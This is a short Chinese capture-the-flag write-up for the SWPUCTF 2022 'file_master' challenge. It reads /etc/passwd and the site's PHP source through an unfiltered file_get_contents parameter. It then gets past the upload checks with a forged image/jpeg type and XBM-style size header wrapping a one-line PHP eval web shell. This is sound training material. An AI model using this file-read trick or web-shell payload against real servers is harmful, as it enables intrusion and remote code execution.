NSS [SWPUCTF 2022 新生赛]file_master
开题,一眼文件上传。
network看看返回包。后端语言是PHP。
除了文件上传还有个查看文件功能。
起手式查询/etc/passwd
,发现查询方法是GET提交参数,后端使用file_get_contents()
函数包含文件。同时有open_basedir
配置项限制PHP可访问的目录。
我们尝试用伪协议读取文件源码。index.php
?filename=file:///var/www/html/index.php
<?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
}
?>
有了源码直接变成白盒文件上传。分析一下源码,比较重要的四个点如下:
起手式上传.php
然后抓包尝试绕过题目对文件属性和内容的过滤。
Content-Type: image/jpeg
内容:
#define height 19
#define width 19
<?= @eval($_POST[1]);?>
上传成功后访问/upload/2kduk0uasdqn4bssun6b3kqumr/myshell.php
。直接getshell。